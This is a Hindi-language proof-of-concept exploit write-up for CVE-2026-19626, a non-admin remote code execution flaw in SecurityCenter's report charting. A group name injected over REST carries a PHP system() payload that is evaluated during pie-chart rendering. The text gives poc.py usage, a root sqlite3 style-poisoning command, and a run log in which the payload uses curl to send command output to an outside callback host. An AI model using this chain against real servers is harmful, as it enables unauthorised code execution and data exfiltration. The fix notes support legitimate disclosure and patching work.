
SecurityCenter रिपोर्ट जनरेशन में एक प्रमाणित रिमोट कोड एक्ज़ीक्यूशन के लिए CVE-2026-19626 का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो ग्रुप नाम इंजेक्शन और PHP eval के माध्यम से नॉन-एडमिन चेन का प्रदर्शन करता है

स्थिति: CONFIRMED — पूर्ण-Remote, गैर-एडमिन, केवल-REST (6.7.2-14.el9 लैब, 2026-08-21)।
हथियारबद्ध श्रृंखला (poc.py यही करता है):
name: "{=system('<cmd>')}" के साथ POST /rest/group — ब्रेसेस/क्वोट्स वैसे ही
स्वीकार किए जाते हैं (group controller में कोई charset जाँच नहीं है)POST /rest/reportDefinition — PDF रिपोर्ट, एक pieChart घटक,
user/sumgroup query, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() placeholder को group name से
प्रतिस्थापित करता है, इससे पहले कि eval loop चले — payload format
string के अंदर पहुँचता है और tns के रूप में
फायर होता है{label}{=...}eval("$expr = system('<cmd>');")system() का return value वापस label में प्रतिस्थापित हो जाता है — command का
output तैयार रिपोर्ट के pie legend में render होता है (exfil channel)Marker /tmp/pwn_label इसी सटीक श्रृंखला द्वारा बनाया गया (कोई DB access नहीं, कोई
style write नहीं, कोई file upload नहीं)। ध्यान दें कि शून्य-सदस्य समूह फिर भी sector
उत्पन्न करता है — sumgroup aggregation इसे शामिल करता है।
इसके अतिरिक्त direct invocation और full-pipeline style poison द्वारा पुष्टि की गई
(नीचे history देखें): eval sink shipped substituteParams() में live है, और एक
poisoned default legendFormat style attribute किसी भी pie-chart render पर फायर
होता है, जिसमें गैर-एडमिन के स्वामित्व वाली रिपोर्टें शामिल हैं।
डिलीवरी चेतावनी (pure-REST PoC क्यों रुक जाता है): रिपोर्ट परिभाषा का inline
style ऑब्जेक्ट — जहाँ PoC legendFormat/labelFormat रोपता है — xmlDefinition
में verbatim संग्रहीत होता है लेकिन render के समय discard हो जाता है:
getReport(CONTEXT_RENDER) घटकों को normalized tables से rehydrate करता है और
$component['style'] को StyleLib::getComponentStyle() से overwrite करता है
(styleID द्वारा fetched)। Style-import controller मौजूद है (Styles::add,
अपलोड की गई XML फ़ाइल को xmlToStyles के माध्यम से parse करता है, admin-only जाँच
commented out है) लेकिन इसका कोई route exposed नहीं है — 12-verb/path volley
(style, styles, style::add, style/import × POST/PUT/PATCH, एक valid staged
filename के साथ) सभी error 10 लौटाते हैं, और UI bundle में कोई style-endpoint कॉल
नहीं है। इसलिए pure-remote delivery के लिए एक style write path आवश्यक है जिसे
6.7.2 expose नहीं करता; rendered chain को style attribute के माध्यम से सीधे
प्रदर्शित किया गया।
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 और उससे पहले):
substituteParams() में eval("\$expr = {$exprs[1]};")। Pie-chart
legend/label format strings ($style['legendFormat'] / $style['labelFormat'],
lines 4952/4983) {=<arithmetic>} placeholders का समर्थन करती हैं, जैसे built-in
default {={sector}+1}। Expression body उपयोगकर्ता-आपूर्ति
रिपोर्ट-परिभाषा सामग्री है → arbitrary PHP।labelStyling के साथ
eval("\$sectorLabels->setBackground($labelStyle);")। 6.8.0 guard था
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — केवल ;
अस्वीकार करता है; system('cmd') पास हो जाता है।circleShape(10) जैसी bar-shape specs पर
if (is_callable($matches['name'])) gate। system(id) gate पास करता है। 6.9.0
fix comment इसे स्पष्ट रूप से बताता है: "is_callable() is NOT a safe gate
(is_callable("system") === true)"।रिपोर्ट-परिभाषा अधिकार वाला कोई भी org उपयोगकर्ता render समय पर तीनों तक पहुँचता है
(generateReport.php / Jobd)। ReportDefinitions::launch() ROLE_ADMIN को
अस्वीकार करता है — bug class स्पष्ट रूप से गैर-एडमिन है।
Command output label text में वापस प्रतिस्थापित हो जाता है, इसलिए rendered report ही exfil channel है।
eval() हटा दिया गया; {=...} expressions /^[0-9.\s()+\-*\/]+/ तक सीमित कर
दिए गए और tokenizer द्वारा evaluate किए जाते हैं; resolveLabelStyleArgs() label
styling को argument list में parse करता है; isAllowedBarShapeFunction() —
numeric-only parameters वाली allowlist।
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Group-name label injection (ऊपर दी गई remote chain): payload-named group बनाता है,
sumgroup रिपोर्ट तैयार करता है, launch करता है, और rendered result के लिए poll करता
है — command output तैयार रिपोर्ट के pie legend में दिखाई देता है। Payload बाधा:
कोई } वर्ण नहीं ({=...} regex पहले } तक non-greedy है); command output label
substitution के माध्यम से बाहर आता है, इसलिए इसे report से पढ़ें या marker/timing
से सत्यापित करें।
style.legendFormat/labelFormat xmlDefinition में verbatim
संग्रहीत होता है लेकिन render के समय discard हो जाता है — घटक Style tables से
styleID के माध्यम से styles rehydrate करते हैं (ReportDefinitionLib render
context $component['style'] को StyleLib::getComponentStyle() से overwrite
करता है)।Styles::add, admin check commented out,
अपलोड की गई XML को xmlToStyles के माध्यम से parse करता है) लेकिन कोई route
wired नहीं है — 12 verb/path combos (उप-संसाधन /rest/style/{id} सहित) सभी
error 10 लौटाते हैं, और UI bundle में कोई style-endpoint कॉल नहीं है।{label} substitution
eval loop से पहले होता है, इसलिए कोई भी attacker-influenced label (यहाँ group
name; user profile fields और scanned-asset hostnames समान आकार के हैं) payload
ले जाता है।# direct sink (on-box)
/opt/sc/support/bin/php /tmp/t.php # requires defines+phpchartdir+ReportChartingLib
# style poison (root) + any report launch
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restore: DELETE those attribute rows (falls back to built-in defaults)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0